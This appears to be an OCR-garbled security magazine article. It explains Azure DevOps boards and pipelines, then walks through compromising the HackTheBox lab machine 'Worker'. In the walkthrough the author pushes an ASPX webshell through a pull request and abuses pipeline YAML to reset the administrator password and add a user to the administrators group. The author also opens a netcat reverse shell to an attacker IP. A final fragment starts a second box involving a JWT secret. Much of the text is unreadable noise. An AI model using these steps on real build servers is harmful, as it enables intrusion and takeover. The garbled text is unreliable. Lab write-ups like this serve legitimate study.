-4 _§s s LARM templates: x | < (InfrdStructure as CoddaQt _ x _ A _, «~ §
D47 AX N ] s kX X s o
PALs Xy XS R, 3 x kX g xs o ,x  {q s
Doxda] 4 34 X § K% X Ixx Jsslioxsox ,xsssE]" % X 4 HKLIs 7 4 X vqx
deployment{ 1 1 . s * X
DX LS XS R T K, X X kX o L s T % g
D x "sx] 4% X 4T P X{X] e FA X AT XL
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F
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s s \I,Z-|"~
Hi | *-

~ v ~

Azure Boatis

FAd LA S0 X 0 X X sd X 4y Xx s T ] xx ¥]s " Azure Boards%

X ovp A P Axssid S ] o DXy 0 ISl X R XK e X
X, ospP s x 1% 4 x b s Fox 1y s0Kanban: | ¥ Xl 417sxl x X x 1 x
P2 Y X T4 is 1. x 10, Azure Boardg X X S@ X x s o A [Tk x oo
X X X I s X XX, JEKXLeTSy 4T LT, ™ DX w Xxx o
X LXD X 8 X L LK vw o H_Gitlabt X Jirat 41X 8Ll x 1¢F 4 s
Y x « X's
X 1+ 17 xs] | X %
OFFH « R 03X T4 4 5w o ox X X x D el Y §
S {4« « A%y dv1S5s - Backlog x s {7
AR AU H B I S
Spirintgt * x _ 4L . $w _ L _T
F 1 T X xLs PMId L < K. L4 ivsd L st
M OsxC{¥ « .
G Azure DevOps fabrikamprime Fabrikam Fiber Boards Boards P Searc ‘
. Fabrikam Fiber B Fabrikam Team ~ * &
Board  Analytics (3 View as Backlog FE Stories v ¥ Y & /S
ﬂ Overview )
Backlog Analyze 2/10  Develop ¢ 36
Boards
a New item ) 352 Hello World Web Site 10 1069 Permissions
P ™ 2o Hartnett { isa Pok W
] Workitems B 516 Performance issues & /amal Hartnett 8 0 Raisa Pokrovskaya
ﬁ Boards % ) Christie Church Approved State ® Committed
i Sprint 3 sration .. Sprint 3
State New
= Backlegs geration .. Sprint 3 e o Fo &
©, Sprints 13 &4
® 377 Switch context issues B0 369 About screen
T GrEE % ) Christie Church I8 364 Slow response on 1\3: Christie Church
< information form
Delivery Plans State New -~ @ Committed
teration.. Sprint 3 - Jomal Hartnett 8 Sprint 3
Approved
1M 361 Hello World Web Site teration ... Sprint 3 MU 893 Stakeholder access
gf' Jia-hao Tseng Review ’a Jia-hao Tseng
State New w3 &1 ® Committed
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https://www.atlassian.com/software/jira/features/scrum-boards#:~:text=The%20scrum%20framework%20enables%20software,and%20promotes%20iterative%2C%20incremental%20delivery.
https://docs.gitlab.com/ee/user/project/issue_board.html#:~:text=The%20issue%20board%20is%20a,a%20feature%20or%20product%20release.&text=Issue%20boards%20help%20you%20to,list%20for%20your%20existing%20issues.
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ﬂ B New pipeline
W soarss Review your pipeline YAML
Repos . -
. azure-pipelines.ymi
q R 1 # Starter pipeline
2 # Start with a minimal pipeline that you can customize to build and deploy your code.
dy  Builds 3 # Add steps that build, run tests, deploy, and more:
4  # https://aka.ms/yaml
& Releases 5
6  trigger:
%  Library 7 - master
8
= Task groups 9 pool: 'Default’
10
. 11 steps:
Depl It
' IS L 12 - script: echo Hello, world!
13 displayMame: 'Run-a one-line script’
A Testpans i
15 - script: |
'I Artifacts 16 echo Add other tasks to build, test, and deploy your project.
17 echo See https://aka.ms/yaml
18 displayName: 'Run-a multi-line script’
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¥ . xbuilgme
f:J Azure DevOps ekenas PartsUnlimited Pipelines Builds PartsUnlimited (1) #20220111.1
B rartsuniimitea e
Q #20220111.1: Set up Cl with Azure Pipelines
ﬂ Overview Walidation of §% 9 triggered just now for Robin Islip targeting 4 PartsUnlimited §# master
% Boards Logs Summary Tests
Repos Job
Pool: Setup - Agent: Hamilton1l
q Pipelines
dy  Builds @ Preparejob - succeeded
& Releases @ Initialize job - succeeded
W Library @ Checkout - succesded
= Taskgroups @ Runaonedine script - succeeded
= Deployment groups Q Run a multi-line script - succeeded
Post-job: Check - succeeded
A Test Plans @ Postjob: Checkout - suc
@ Finalize Job - succeeded
B Artacts
@ Reportbuild status - succeeded
oresap AL H K o Xy of o xbdildie 4 4L s I8 T T T ]
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Run a multi-line script
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Starting Command Qutput =

est, and deploy project.
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02 &1 + Add Test | + Add Test |
@ Login with emai @ Mandatory address check
=+ Add Task
3 Create new account @ Edit customer address
‘Welcome screen
@ Login with sacial media accounts

On-boarding flow
M| Craft 404 page
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https://about.sourcegraph.com/blog/nine-circles-of-dependency-hell/
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Boards

You use Boards to implement Kanban methods. Boards present work items as cards and support quick status updates

through drag-and-drop.

Task Readers Contributors Team admins

Project admins

View boards and open work items

Add work items to a board; update status

through drag-and-drop
Reorder work items or reparent child items
through drag-and-drop; update a field on a

card

Add child items to a checklist

Assign to a sprint (from card field)

Configure board settings

default permissions quidleference- Azure DevOps | Microsoft Dogsyx « i Xse X% 14 «
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/usr/share/webshells/php/findsocket/php-findsock-shell.php

S . X L EKAPIP, A4 ¥ X K P04 | 4 webshells- |« s 1 Kali linux: 7 x|
Opensourcd 1« 4 %, « o4l Fx ] 1@ | 8040 x X4 778 dd 41 x

Yy |
https://github.com/tennc/webshell

Pl x %

>—

=

¢
_
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https://github.com/tennc/webshell

~ _ . mBstert® ¢ _brancht * x :s|u X Nadthalie Heniey (Natheén _ % _ _ @ _.. % 1:"7

sspectral % <« 4 X, 0 4 X~ o0
) Azure DevOps ekena SmartHotel36 Rey File @ spectral v
SmartHotel360 r g master ~  spectral / Ty
ﬂ Overview ‘
© spectral ... Contents History + New T Upload file(s) 4 Download as Zip
B‘; Boards assels Name 1 Last change Commits
images
Repos g assets 4]2/2020 8a4le08a Version 1 Nathalie Henley
1) elements.html
i images 41212020 8a4le08a Version 1 Nathalie Henle
[3 Files ) generic.html
) 31 elements.html 4/2/2020 8a41e08a Version 1 Nathalie Henle
9 Commits ) index.himl
htm ion 1 Nathalie Henley
[ LICENSE.txt ) generic.htm 4/2/2020 8a4le08a Version 1 Na
2, Pushes )
[ README.txt 1 index.html 4/2/2020 8a4le08a Version 1 Nathalie Henley
Branches
£l [) LICENSE.txt 41212020 8a4le08a Version 1 Nathalie Henley
Q Tags [} README.txt 41212020 8a4led8a  Version1 Nathalie Henley

a ~

1o aspxd « X 4 veTx st x T IS ks, s x Yapski . - webshell * x4 1 TE
@nastem push, . *mastent . " . - B¥PoweredBy: ASP.NEF !

T e 4 AGEE X o S XTI X 0 ¢ X dsel 4 L BT s ] ¢

Y X o« Xos o xioeg 84 L 4LXp 4 X %

~/digitalwhisper
config user.name “"nathen”

~/digitalwhisper]
t config user.email "nathengworker.htb"

[~/digitalwhisper
clone http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral
Username for 'http://devops.worker.htb': nathen
Password for 'http://nathengdevops.worker.htb':

| ~/digitalwhisper]
| spectral

[~/digitalwhisper/spectral]
webshell ‘rep aspx
/usr/share/webshells/
/usr/share/webshells/ /cmdasp.

~/digitalwhisper/spectral]
usr/share/webshells/aspx/cmdasp.aspx .

~/digitalwhisper/spectral ]
add .

~/digitalwhisper/spectral]
it commit "totally not a webshell"
[master 9f54144] totally not a webshell
1 file changed, 42 insertions(+)
create mode 100644 cmdasp.aspx
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i* master '  spectral / Type to find a file or folder
<
& - (@ You updated §°jonathan just now — Create a pull request
spectral
assets Contents  History -+ New ~» T Upload file(s) | Download as Zip
images -
8 cmdasp.aspx Name T Last change Commits
M elements.html assets 41212020 8a41e08a Version 1 Nathalie Henley
1 generic.htm| images 41212020 8adle08a Version 1 Nathalie Henley
[ index.html &) cmdasp.aspx 19 minutes ago 9f54144e totally not a webshell nathen
[ LIcENSE.xx ) elements.html 41212020 8a41e08a Version 1 Nathalie Henley
[ README.txt . ,
) generic.html 4/2/2020 8a4le08a Version 1 Nathalie Henley
w) Index.htm 4/2/2020 8a4le08a Version 1 Nathalie Henley
) index html 2/ i hal I
Xt 4/2/2020 8a4le08a Version 1 Nathalie Henley
[ LICENSE 2/ i hal ley
[ README.txt 4/2/2020 8ad41le08a Version 1 Nathalie Henley

1Y, s, » x| d (GUR D x| LB ¥ R d X7 PM s s

Contents Hi New ™ Upload file(s) ' Download as Zip
assets 4/2/2020 8a41e08a Version 1
images Commit X
I3) elements.htm Drag and drop files here or click browse to select a Browse
file
D generic.html
[+] cmdasp.aspx
» index.html 1.4 KB remove
s Comment
[0 LICENSE.txt
just an innocent file
[ README.txt
Branch name
master
Work items to link
Search work items by ID or title v
BN o

1 x 7 4 x Xy déployment- x Sbuyildrt 1 * w f « « CUCDE 1 1 L s:x _JIxust x|

P XxxT X xIws ] ] e W os X

~
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Technologic

Yoot directoryrt - 1 ¥ " L webshelt _ ¥ 4 * 0"A_~ ~*1 « 1

spectral.worker.htb

iis apppoolidefaultapppool

Command: |whcarr|i | | excute |

T, " rd v SSer o axdSS ] O3 T A L0 AHT, HA s R

P X lowd kT 4 o x Xy 0 1 8 ] xs s {deploymentt 1 1 L s L XZ_ xniaSter
QQCD » X w AN X XD x b g d 4ihs s § g 01 < 4 X, s

pullrequest ~» x _ 4« = X« L5 7 AT s

~ ~

XXl r X T Kt e L Xl o f K1 X Xmastent | " 1 Z ]
build , - * ClCDBt 1 4 .7 _ pdl- x =X «iox . X v4 X mastem - X ~ H x 4

® 4 o Aswdl e LA ] w g x X

~>

cL X B x X" { s s xUmastent . ~webshelft | X X« X | ss NF |

¥ « Xss. { ¥ S

Commit X

@ TF402455: Pushes to this branch are not permitted; you must use a pull
request to update this branch.

Drag and drop files here or click browse to select a
file g p - Browse...

[+] cmdasp.aspx
14 KE remove

Comment

Trust me|

Branch name

master

Work items to link

Search work items by ID or title ~

=N -

@astent . "L push, « < " L pullrequestt : _ «~ XX X ow f XX T X L]
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- X J4Px ] eheckout, « * & branch. X « 4 XB s 4 $* 3% "Iy.” x (1 "

<~ a ~

Youll request

[~/digitalwhisper/spectral]
branch jonathan

| ~/digitalwhisper/spectral]
t checkout jonathan
Switched to branch 'jonathan'

[~/digitalwhisper/spectral]
push origin jonathan
Username for 'http://devops.worker.htb': nathen
Password for 'http://nathengdevops.worker.htb':
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 8 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 988 bytes | 988.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused @
remote: Analyzing objects... (3/3) (103 ms)
remote: Storing packfile... done (354 ms)
remote: Storing index... done (160 ms)
To http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral
* [new branch] jonathan -> jonathan
Branch 'jonathan' set up to track remote branch 'jonathan' from ‘origin'.

YAzure devops _ ~ X | pull request- x ndastent 4 X " . ™ merge, « S~ 7

B smartHoteizso + 1% New Pull Request
ﬂ Overview §v jonathan ~~ | into }° master v | &
Title *
B soars
- Trust me!
Repos
3 Files Description
. Trust me!
¢ Commits
%, Pushes
:’9 Branches Markdown supported.
Tags L. B T @« =2 E@ # 1)
11 Pull requests Trust met
Reviewers
f Pipelines Search users and groups to add as reviewers
A TestPlans Wark ltems
Search work items by ID or title ~
& artfacts
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Yull requestt = «~ _

Technologic

shud OXXT T L

WElp

v

f16 Trust me!

) niathalie Henley 55 onathan o

master
& ovenien
Overview  Fies
B soaus
Description
Repos Trust me!
B Fies
how everyhing
4 Commas
2, Pusnes @) Addacomment
 Buanches
@ 2oproved by I Nathaie Heriey
@ Tap
N el Heniey jomed as & reviemer
i1 Pull requests
Created oy ) Nathaie Heriey
of Freines
A Testrens

Work Rems +
o relteg vk iems
o= =+
P\ athaie Heriey
2opicied
Labets

build e -

¥ 1L kS _mergat | 4L s

Merge type

Merge (no fast-forward)

N’

Post-completion options

Delete jonathan after merging

&

NN 1/0]5 . 3 BRERTIRCRS:

11

.S Ul ppelinege - X 4 X Jue XX % s

Y ” - |_I -|~<S" ALS‘)(

Agent pool

Queue build for Spectral-Cl

X

| Default

Branch

£° jonathan

Commit

Variables  Demands

system.debug

+ Add

false

Y

X

>

% X jobh o X

OO pujldre 4 4 LISt s gt ss ,

Spectral-Cl

History Analytics

nathan 2022-01-10 - 12:06

ﬁ Manual build for Nathalie Henley @ 168

n d
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Technologic

B smartHoteizso +

© #168: Trust me!
ﬂ Overview Manually run today at 12:06 pm by Nathalie Henley 4 spectral {# jonathan ¢ dcc2343
E Boards Logs Summary Tests
jdl Repos Agent job 1

Pool: Default - Agent: Hamilton01
q Pipelines
&y Builds @ Preparejob - succeedec
& Releases @ Initialize job - succeeded

Checkout - succeedec
% Library ° sckou .
= Task groups @ Deploywebsite - succeeded
**  Deployment groups @ Postjob: Checkout - succeeded
Finalize Job - succeedec

A Test Plans °

@ Report build status - succeeded
g Atiacts
TRDOX 4 XD x_ Xl § X 4x] % s 4] 0 PRguctiont X 4 % XK T L X aw  x oL
boxxer x v 4% Ix JL gvebsheltt - « x o bXx V5 91 «dBol x = ™ _ pipglines

Y » 15

spectral.worker.htb

iis apppoolydefaultapppool

Command:  |whoami && echo ™ && uname -a | [ excute
MSYS NT-10.8-17763 Worker 3.1.4-340.x86 64 2020-085-19 1Z:55 UTC x86_&64 Msys
- . CL S L Kb X ke X D esEOxs o X ] L {ius T XS Ix] sF s

T 1«4 X Y- KKK _ diptlines o

X

«OL L ¥ 0sx{4 s dAzure DevOps vl ¢ 3 X 44 XX x | .

L X LA N ¢ O

A >

code ~ 1 «pull requests *x

®roduction® ~ £ 4 *+ 1 - deploymentt build{4 1 4 ¢ - 5% «

S ., % (TS Covw X 4%y K 75X oA8 . T

R I I L

>

,tS(S"},”-F\\ Xg,ﬁ-xx\\\x

Jss{L. ¢ ¥pull requests x

Pl ol td o, X T e A

~

XX e S x

A = ~ ~ >

~A.|xh,, 1~x> ¥ 52] ” =V X . Z><>x | YX S, RN s

~ v ~

XS S

rr

XS] v 4T

~

4 45SC 4 LYX L8 v XIS XY ] C X Y | S

¢'| DX e

~

R S R

~

s e s T &8 s Y

2 BN | B

H X ¢ NFH“ﬁ . q

X144 _~kS L1ss

S Xs X .S

~

_eeTsex reviews

1.0 s

o

~ o~
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T4 s

s Spipeline: ~» 4 ~ 4+« _rr S

« X "7 L *Rbbin_Islip (robis_ _

pipelines~ * « ¥l X 40°

Technologic

X X,

1 41L s L

* Lbtild-s

ToXs o X KD x 4xX AKzisre DevOps ~ L S
SIS XY s Sl 4y T ] Bdid

S S

L X s Ux * Repost . !

Devopsss s 4 x X0 ¢ 4

1~ 18sxs 3]

@17 _ =

N I R I I T

V< v

A4Sl . s

XSS XD Xy %]

Build Administrators « x % XX x 7 x % f 't x{ ¥ x

robin islip

Create group

£ Robin Islip

4

WORKER = Robin Islip

Permissions Member of

+ Add... ) Search
Display Name Username Or Scope
© Buid Administrators [PartsUnlimited]
8 PartsUnlimited Team [PartsUnlimited]

B6< 1 1 ORCE « 1 _ + mpipelined ” _

dvas 1 dedse X ox X

s ¢ 4 D AD B C

=

i

Y 1 "pipelines~oL L X0 L4 % + 4 wxx” Il admin « oS K2 T T x | |
Azure DevOps ekenas PartsUnlimited Pipelines
PartsUnlimited + Connect Selec Configure Review

Overview

Boards

Repos

Pipelines

Builds

Releases

Library

Task groups

Deployment groups

New pipeline

Where is your code?

Use the classic editor to create a pipeline without YAML.

Azure Repos Git  YAML
Free private Git repositories, pull requests, and code search
GitHub Enterprise Server  YAML
The self-hosted version of GitHub Enterprise
0 Other Git
Any generic Git repository
== Subversion
B Centralized version control by Apache
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Technologic

v Reactr  Nodejs: ! » xsT ¥ x | 1 _|

~ % 1> xpre-bgilt pipelines + 1 Yoxm

X v MAgute Repos Gif -~ 1 % %

RS I NN I BN

> a ~

XS L LW s L ], *SBAzurel x X 4 X W 44 x . s

>

Xamarin.i0S

Build a Xamarin.i0S project.

Node.js
Build

general Node.js project with |

Node.js Express Web App to Lir

testing service

Machine Learning Model
Build and deploy a ML madel usin

Mode.js With Grunt

Node.js with React
Build a Mode js project that uses React.

Node.js React Web App to Linux on Azure

Build a Node js React app and deploy it to Azure as a Linux w

Azure DevOps ekenas PartsUnlimited Pipelines
PartsUnlimited + ./ Connect - Select Configure Review
T MNew pipeline
— Configure your pipeline
= Azure Web App for Java

Repos @ ASP.NET Core | Build & Java WAR file and denloy it to an Azure Web Anp

Bl el e ASPNET Core projec Build a Java WAR file and deploy it to an Azure Web App.
Pipelines

ASP.NET -

. @ Build and test ASP.NET projects. GO Go [prewew)

Builds Build & Go application.
e @ ASP.NET Core (NET Framewol

Build and test ASP.NET Core projectd

Gradle

Library @ NET Deskiop Build and test a Java project with Gradle

Build and run tests for .NET De .
Task groups Node.js with Vue
Deployment groups @M Universal Windows Platform Jenkins Build a Node js project that uses Yue

ROVICTRGIUD MM Guild a Universal Windows Platform Queue a Jenkins job an
Mode. js with webpack
Test Plans :
6 Xamarin.Android . Build & Node js project using the webpack CLI

Build & Xamarin.Android project Load test using Azure laa]

Artifacts Create a rig on Azure laas virtu

Build a Mode js Express app and depl

A v 1AL

X . A9E

~

LA 1 4 v xR R dsiyl x L& Stéyter pipeling

R H IR N

El H & & B ®

Build & Node.js application using

Mode.js With gulp

Build & Mode.js application using

A|_S ~ S, -

WO BT S A A

X o X A s

,,|.V-| Y

~

®CH * ©

Node.js with Angular
Build a Mode js project that uses Angular.

Starter pipeline
Start with & minimal pipeline that you can customize to build g

Existing Azure Pipelines YAML file
Select an Azure Pipelines YAML file in any branch of the repo

o1 x d4 4 ¥ wr

¥ pipeliner s ¢ s 4 I uxsxly, qs

.-.~ s 1 Y (0devops
1 Pipelingt ~» 1 * 7

v 20X « s
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script: 1 ¥ 7 X XRCE " 1+ * gipelingt © ~» X S 1 4% 7 (4~ o  Xx (1F 4 _ « .

¥'md.ex& bash: x .1 xsx o .

B sowus Review your pipeline YAML

azure-pipelines.yml

*aan

& Releases
N by
®  Task groups

Deployment groups

Command
Description : Run a command line script using Bash on Linux and mac0S and cmd.
Version 221512
Author : Microsoft Corporation
docs.microsoft.com/azure/devops/pipelirs

nt authority\system
MSYS NT-10.0-17763 Worker 3.1.4-340.x86 64 2020-05-19 12:55 UTC x86 64 Msys

Al X" ol 3B s 14y 9d e stas s td X F %A S ]

¥ x 1% 44X 17 - Administratont

~

ﬂ BT MNew pipeline
B9 soaras Review your pipeline YAML

Repos

azure-pipelines.yml

f Pipelines 1 # Starter pipeline

2 # Start with a minimal pipeline that you can customize to build and deploy your code.
@y Builds 3
4  trigger:
% Releases 5 - master
0% Library 7 pool: 'Setup’
8
= Task groups 9 steps:
10 - script: |
- _ + - W
== Deployment groups 11 _wet user administrator DigitalWhisper2@22
12 displayMame: 'Pwned!'
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S 10 s ol 0 ¢ pipelingt - .~ o451~ L

Job
Pool: Setup - Agent: Hamilton11

Prepare job - succeedec
Initialize job - succeeded

Checkout - succeedec

Pwned! - succeeded

Post-job: Checkout - succeeded

Finalize Job - succeedec

O 0 0j0|j]O O O

Report build status - succeeded

~winrm: X o4 o 7 kalis ¢ 4 wevikwinrm s X o X T X0 DS XX 1147«
X s X Xy DX o« SE Xl s

~/digitalwhisper/spectral
10.10.10.203 L1

PS C:\Users\Administrator\Documents> whoami
worker\administrator

PS C:\Users\Administrator\Documents> uname -a
MSYS_NT-10.0-17763 Worker 3.1.4-340.x86_64 2020-05-19 12:55 UTC x86_64 Msys

rdbisx " ¥ _s 1 d . pipeling® o ~Y | TRXL . F A X T XX W% X s

ﬂ Overview e e e
ew pipeline
B soads Review your pipeline YAML
22 Repos . .
azure-pipelines.ymi
f e 1 # Starter pipeline
2
gy Builds 3 trigger:
4 - master
& Releases 5
6 pool: 'setup’
Y Library 7
8 steps:
Task groups 9 - script: net lecalgroup administraters robisl /add
10 displayName: 'Pwned!’
2" Denlovment aronns 11
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evikwinrm: x o8 o B L X, O] 0 T L, T e X

PS C:\Users\robisl\Documents> whoami /groups

GROUP INFORMATION

Fverynne Well-known

NT AUTHORITY\Local account and member of Administrators group Well-known group
WUKKER\Froduction Alias
BUILTIN\Remote Management Users Alias
BUILTIN\Administrators Alias
BUILTIN\Users Alias

NT AUTHORITY\NETWORK Well-known group
NT AUTHORITY\Authenticated Users Well-known group
NT AUTHORITY\This Organization Well-known group
NT AUTHORITY\Local account Well-known group
NT AUTHORITY\NTLM Authentication Well-known group
Mandatory Label\High Mandatory Level Label

PS C:\Users\robisl\Documents> []

~® X444 ¥ X spipeliner s | xs€: {x{Cs

pEp p¥thon:x _-1. T1backend |, _ *x _s{ __x pipeliner 1 *x _HAX . o TP d0xx” 444 s
L - d Y S sig Ixx L xg, ¥7 d % ¢ x{x xs 4%F ¥ ] ™>x xx{hdde.js agp.net

s Pox " q4s oo Xscript

-

Pipeline: X <4 ™ X «5x XTI f™ s Isa0 i 4 X IR L s T X Diisx o L8y

Yoxodlk

IO
d a Node js application using the Grunt task runner

Node.js With gulp

o Universal Windows Platform

Xamarin.Android
eﬂ Build an Android app and Xamz UITest assembly. Test on real devices with App Center

Xamarin.i0S
@i Build a Xamarin.iOS app and Xamarin.UlTest assembly. Test eal devices with App Cente:

J . Empty pipeline
2

Start with an empty pipeling and add your own steps.

Secure SHell in Unsecusgstem
www.DigitalWhisper.co.il
pp HHH «~ X ~Mo =~ X 1 LY




Technologic

Yuildrt 4 1 s .81~ ~ lagentt powershell x task, 1 "I 1+ 1

PartsUnlimited Pipelines 0 seart = )
& - > PartsUnlimited-Cl
Tasks Variables Triggers Options Retention History & Save & queve
Pipeline
Add tasks powershell x
== Getsources Don't see what you need? Check out the Marketplace. 2
T X

Q Service Fabric PowerShell

i E PowerShell on target machines

Azure PowerShell

Deprecated tasks v

x o x I g T s . Lis, xreverse shett - - X koS4 S AL, ¥ B8

windows: 7 x 4 X % I 4 {4 «x { I'réverseshetti1i , 1 ~ ~

Yox o xs L XX XT XL DX X s ] XKD LXK Ly B S

~ > ~ v

& - > PartsUnlimited-Cl

Tasks Variables Triggers Options Retention History B save & queue - *) Discard = Summary

Pipeline .

B e PowerShell @ @ Link settings [fj View YAML [i] Remove
= Ge_t L) Task version 2+ ~

»g PartsUnlimite master
Agent job 1 + Display name *
- ) PowerShell Script
PowerShell Script i
B ’ 9 e @
File Path (i; Inline

Seipt*  @®

# Write your powershell commands here.

# Use the environment variables input below to pass secret variables to this script.

ErrorActionPreference O

Continue v

Advanced
Control Options
Environment Variables +

Output Variables
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« 1 x5, revpsly _ X XA d .k dE NBT- _ ~»x 1 webclientt ~ x _$ ., . 7%
DA ST KT Bl i X o xsITsx ) s

~

b TGP X JTx Lo x X 4x] S % 0oL ] ] malwares X SIS X X x s | f L, . X
YS LA xAd4y s
- - 10.1.1.8 - 4443

Yt g T XX e WPNE X T e 4 s sx s T M M DSy D
Ui o d L xS AXTXT L XTI HP » DS X D Xs s s X 4 X

Yetcat

~/tools

4443
listening on [any] 4443 ...

I

-4 ¢ B8 XX x4 . slHinge X X ¢ -~ InpokeExpressiom -~ X « ¥ [EXt Powershelft
1 >Z Su

Yittp.server¥ | X x Al < x fB " x JHTIR » ] % 20 i

http.server 80

[sudo] password for jon:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

THC A0 d X 41«5 - AT ApPEinet © ~. 4 -7 % 4" Yl 4% S ]$4-

révpsl, * ¥« s™ s {4 HITP*. 1 ("1 * <n_n*m*e X netcat: *x « J678 L

LoX X, yapsl, X X sl X s ] 4.y

~ ~ o v

®x 41, _ phelingt - « ~+5
i X X wxS |70 x 8 X {1 . & ~\s>< 5 .5 X .‘Z|,,v'| \(qu Jox x:“\s~ {1 W™ : X ] . S

X | X 4021 ~88 | Hx I s €

~

L4 1 ss:~s“>q><L ~‘Z irnmno xx "X B : X b ~Ss_ ZZS\(L> "xxJ“x§:,,><x ~=sx~x 11

S« X8 x l 4 X Xox s hefcat

‘P s x TLx bx g osq ysx{ sPE x4 , reverse shelk < ¥ ¥} 4

~ A ~
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1541 .
-[~/tools]
rlwrap nc G443
listening on [any] 4443 ...
. connect to [10.10.16.8] from (Unknown) [10.10.10.203] 59539
HTTP/1.1" 200 -  Windows PowerShell running as user WORKER$ on WORKER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
whoami
nt authority\system
Ps w:\agents\agent11\_work\15\s> ||
Foxol A
“BevOp® r L X _ 4 X 1L 1T X XSy DSy X " L 9%, <L X xxX{" f¥.s
®1 _ ¢ 1.7 {1AzureDevOps +r 1 , X" "{sp |
sX s L o xds v s bt d L s O X ] s X 4 X fs L 4 X s 3 x T s
@ T EHTHE Y s ST s 170 L h e« _devopst | ThedX1 1
1% xyqqais v s Doy iss s o x Jaxsy x4 A Seps e o 8
FYE T oos ST 4 4 e W e ¥ AZurer _DevOps - X 4 s xid o T 1%
S XIXw 1,SS® X STL X ISPR X AX4{ariaX o 4 XIS X T ] sk 44 T X ]
CH®Dx |pipelinest s 1 § %X .., Csv o ” x |7
J~I 5|s~,,w‘ v,_s:y]“,_L.Lxx“v
x
Fo <X ls
@40 X B s sox%x @ ] 1N p X T, THEA I gx .
LX s o T KX e X RS . X T F TN XHIT L X w1 s T xS
® L

>

Y 1 imerhegt: x .~ 13 L oo 41 €

ordavid36@gmail.com

jonathanelkabas@gmail.com
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https://www.linkedin.com/in/or-david-5287181b7/
https://www.linkedin.com/in/or-david-5287181b7/
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@4 TyaA - xonads xsyl s 7 x XXXt o)

rtl 2022-901-82 1@
SC
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nown :

pl Ubuntu 4ubuntu®.3 (L

(Ubuntu}
s5 middlewa

G x " gsshe Ly @ X 4 0% " D x4 TR HH . X L @

F IR e HTTBL X« X XN Y DS, 4 X% 4§ s hfiap X3 1y ™
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DUMBDocs DUMBDocCs

Documentation Documentation

Everything you need to get your software documentation Everything you need to get your software documentation
online. online.

= Introduction = Introduction
This is a APl based Authentication system. we are using JWT This is a APl based Authentication system. we are using JWT
tokens to make things more secure... tokens to make things more secure...

J, Installation J, Installation

pononlsxiGel 4 X X4 X e XA sToAAR X 0 X AT
ol X s BT o sy x O xl x4y s, X Ddwnload Source CodeY< | 1 J s
x X ] L™, xsb,_b: X {is ]y xIsx X, Sxs I wiivx” ({4 K. XX, 1L X

~ ~ >

Y ” E "oy IJ j ;k”XX ”N:X'I"‘ ‘I :I- ‘I”

~ S ~ A >

Pr oS T STTTOTrCTT T WX

<div class="pt-3 text-center"= 5
<a class="btn btn-light" href i I E RPNt R RSt Lo R s
class="fas fa-arrow-alt-circle-right ml-2"></i></a>

</div=
</div=
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$ wget
$ unzip

J// 10.10. 11. 120: 3000/
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L T "%Z®" % X, Xx Is « 7

total 116
drwxrwxr-x
drwxr-xr-x
-TW-TW-T—
drwxrwxr-x
-Iw-Tw-Ir-—-
drwxrwxr-x
drwxrwxr-x
-IrW-Trw-r—-—
-rwW-Tw-r-—-
drwxrwxr-x
drwxrwxr-x
drwxrwxr-x
-TW-TW-TI—

1% @

node 1

s , X

kali
kali
kali
kali
kali
kali
kali
kali
kali
kali
kali
kali

8
7
1
8
1
P
201
1
1
4
p.
4
1 kali

kali
kali
kali
kali
kali
kali
kali
kali
kali
kali
kali
kali
kali

4096
4096
72
4096
885
4096
4096
491
69452
4096
4096
4096
651

Sep
Jan
Sep
Sep
Sep
Aug
Aug
Aug
Aug
Sep
Sep
Aug
Aug

Wode.jgt © ~ _Isq¢ - x L xio

01:
11:
01:
14:
01:
13 00:
13 00:
13 00:
13 00:
3 01:
3 02:
13 00:
13 00:

~/Desktop/local-web
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S SRS L T B I SN e s BRCRAR (RN

Gx " fpxsg I b H SR x o ¥w xis L ase k2L

exec(getlLog

})

1 Xslpld « &

if(err){

S x| x X pfivate.jse

19 4 JEeodedx T s x h ®h, xS 4 L d]

57
26
59
33
56
42
42

.env

index.js

package.json
package-lock. json

validations.js

R . . B R

o~ Td xs” 0 x ik v § 4 Xss (7

x |

> ~

~ ): x XA“‘ILY(ﬂJteSS 'I 'i'l‘x-l '_ X-{ ‘Lx_r‘ _I”XX XI_A‘_M

Moxiae oosxta "t A

, (err , output)

res.status(500).send(err);

}

res.json(output);
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Success

Xov s DAl DX Ao X KK
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s

POST http://10.10.11.120:3000/api/user/register

Name already Exist

~
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PSS TR A IR i o s | IS LT RIWT X A < T
YWOKEN_SECRET

.env_ X xxoXx q 4 1 ®roductions ¢ X 4 Xp A A M LA T PR d i L

kali kali 4096 Sep 3 01:57

kali kali 4096 Jan 2 11:26

kali kali 72 Sep 3 01:59 .env

kali kali 4096 Sep 8 14:33

kali kali 885 Sep 3 01:56 index.js

kali kali 4096 Aug 13 00:42

kali kali 4096 Aug 13 00:42

kali kali 491 Aug 13 00:42 package.json
kali kali 69452 Aug 13 00:42 package-lock.json
kali kali 4096 Sep 3 01:54

kali kali 4096 Sep 3 02:32

kali kali 4096 Aug 13 00:42

kali kali 651 Aug 13 00:42 validations.js

Hrwxrwxr-x
Hrwxr-xr-x
rw-rw-r-—-
Hrwxrwxr-x
rw-Irw-r--
Hrwxrwxr-x
Hrwxrwxr-x 20
rwW-Irw-r-—-
rwW-Trw-r——
Hrwxrwxr-x
Hrwxrwxr-x
Hrwxrwxr-x
rwW-Irw-r-——

S END R R EBRNREORN®

~/Desktop/local-web

.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web’
OKEN_SECRET =
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JWFs v L xa ] x4y : Tx X7 x4

A~ ~ v ~ v ~

JWFs &~ * w7 s T s™Hhewdrketh_ _ & _ 4t 1% _»" s 4. Cx

-.10.11.

eyIhbGci0iJTUzIINIISINRScCIAGTkpXVCI9. ey faWQiOiI2ZMWOXZTgzYTRKkMzVIMjABNWY zNTkS5ZGQ1LCIuYW1
1IjoidGhld29ya2VyTiwiZWlhaWwiOiJ@ZXN@QHRoYWRtaWsuY29tTiwiaWF@T joxNjQxMTQ2NDAxFQ. VsK2Znot
tDOZOrt1H4Nx6shNKBXZ4LYOPbIitMdfXRA

{7 K" p@yloads 1 x : Bpamebs | s: <4 x ..

XTSXS | X, o« 8ISX X K owo X 0 7]

ecrets _

HEADER:
